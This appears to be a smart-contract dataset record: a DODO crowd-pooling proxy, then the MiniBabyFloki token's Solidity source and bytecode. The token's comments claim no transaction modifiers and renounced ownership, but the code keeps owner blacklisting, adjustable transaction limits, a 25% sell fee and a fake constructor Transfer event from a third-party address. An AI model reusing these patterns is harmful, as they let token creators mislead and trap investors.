* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/SmartRoute/proxies/DODOUpCpProxy.sol
/**
* @title DODOUpCpProxy
* @author DODO Breeder
*
* @notice UpCrowdPooling Proxy (temporary)
*/
contract DODOUpCpProxy is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// ============ Storage ============
address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public immutable _WETH_;
address public immutable _UPCP_FACTORY_;
fallback() external payable {}
receive() external payable {}
constructor(
address upCpFactory,
address payable weth
) public {
_UPCP_FACTORY_ = upCpFactory;
_WETH_ = weth;
}
//============ UpCrowdPooling Functions (create) ============
function createUpCrowdPooling(
address creator,
address baseToken,
address quoteToken,
uint256 baseInAmount,
uint256[] memory timeLine,
uint256[] memory valueList,
bool isOpenTWAP
) external payable preventReentrant returns (address payable newUpCrowdPooling) {
address _baseToken = baseToken;
address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken;
newUpCrowdPooling = IDODOV2(_UPCP_FACTORY_).createCrowdPooling();
IERC20(_baseToken).safeTransferFrom(msg.sender, newUpCrowdPooling, baseInAmount);
newUpCrowdPooling.transfer(msg.value);
IDODOV2(_UPCP_FACTORY_).initCrowdPooling(
newUpCrowdPooling,
creator,
_baseToken,
_quoteToken,
timeLine,
valueList,
isOpenTWAP
);
}
}
|
0x6080604052600436106100385760003560e01c80630d4eec8f146100415780633afe1f4c146100725780634ed4acb4146100875761003f565b3661003f57005b005b34801561004d57600080fd5b506100566101d8565b604080516001600160a01b039092168252519081900360200190f35b34801561007e57600080fd5b506100566101fc565b610056600480360360e081101561009d57600080fd5b6001600160a01b03823581169260208101358216926040820135909216916060820135919081019060a0810160808201356401000000008111156100e057600080fd5b8201836020820111156100f257600080fd5b8035906020019184602083028401116401000000008311171561011457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561016457600080fd5b82018360208201111561017657600080fd5b8035906020019184602083028401116401000000008311171561019857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610220565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee5281565b6000805460ff1615610265576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff1916600117815587906001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461029e57876102c0565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561031d57600080fd5b505af1158015610331573d6000803e3d6000fd5b505050506040513d602081101561034757600080fd5b505192506103666001600160a01b03831633858a63ffffffff61052a16565b6040516001600160a01b038416903480156108fc02916000818181858888f1935050505015801561039b573d6000803e3d6000fd5b507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b031663ecfc2db0848c85858b8b8b6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b8381101561048f578181015183820152602001610477565b50505050905001838103825285818151815260200191508051906020019060200280838360005b838110156104ce5781810151838201526020016104b6565b505050509050019950505050505050505050600060405180830381600087803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b50506000805460ff1916905550929a9950505050505050505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261058490859061058a565b50505050565b60006060836001600160a01b0316836040518082805190602001908083835b602083106105c85780518252601f1990920191602091820191016105a9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461062a576040519150601f19603f3d011682016040523d82523d6000602084013e61062f565b606091505b509150915081610686576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610584578080602001905160208110156106a257600080fd5b50516105845760405162461bcd60e51b815260040180806020018281038252602a8152602001806106e0602a913960400191505060405180910390fdfe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220592592ae98f6bd9f9c3d368385ecb179c25e0869433b68aae4596c1cf2b6df7564736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 6,236 |
0x2e929224866c46bd17bec774734c33d63dca5dce
|
/**
*Submitted for verification at Etherscan.io on 2021-07-10
*/
/**
*Submitted for verification
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
$$\ $$\ $$\ $$\ $$$$$$$\ $$\ $$$$$$$$\ $$\ $$\ $$\
$$$\ $$$ |\__| \__|$$ __$$\ $$ | $$ _____|$$ | $$ | \__|
$$$$\ $$$$ |$$\ $$$$$$$\ $$\ $$ | $$ | $$$$$$\ $$$$$$$\ $$\ $$\ $$ | $$ | $$$$$$\ $$ | $$\ $$\
$$\$$\$$ $$ |$$ |$$ __$$\ $$ |$$$$$$$\ | \____$$\ $$ __$$\ $$ | $$ |$$$$$\ $$ |$$ __$$\ $$ | $$ |$$ |
$$ \$$$ $$ |$$ |$$ | $$ |$$ |$$ __$$\ $$$$$$$ |$$ | $$ |$$ | $$ |$$ __| $$ |$$ / $$ |$$$$$$ / $$ |
$$ |\$ /$$ |$$ |$$ | $$ |$$ |$$ | $$ |$$ __$$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ _$$< $$ |
$$ | \_/ $$ |$$ |$$ | $$ |$$ |$$$$$$$ |\$$$$$$$ |$$$$$$$ |\$$$$$$$ |$$ | $$ |\$$$$$$ |$$ | \$$\ $$ |
\__| \__|\__|\__| \__|\__|\_______/ \_______|\_______/ \____$$ |\__| \__| \______/ \__| \__|\__|
$$\ $$ |
\$$$$$$ |
\______/
*/
// Telegram: https://t.me/MiniBabyFloki
// Website: www.MiniBabyFloki.live
// No dev-wallets **
// Locked liquidity **
// Renounced ownership! **
// No tx modifiers **
// Community-Driven **
//////////////// Let's GOOO !! ************
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MiniBabyFloki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MiniBabyFloki";
string private constant _symbol = "MiniBabyFloki";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600d81526020017f4d696e6942616279466c6f6b6900000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4d696e6942616279466c6f6b6900000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908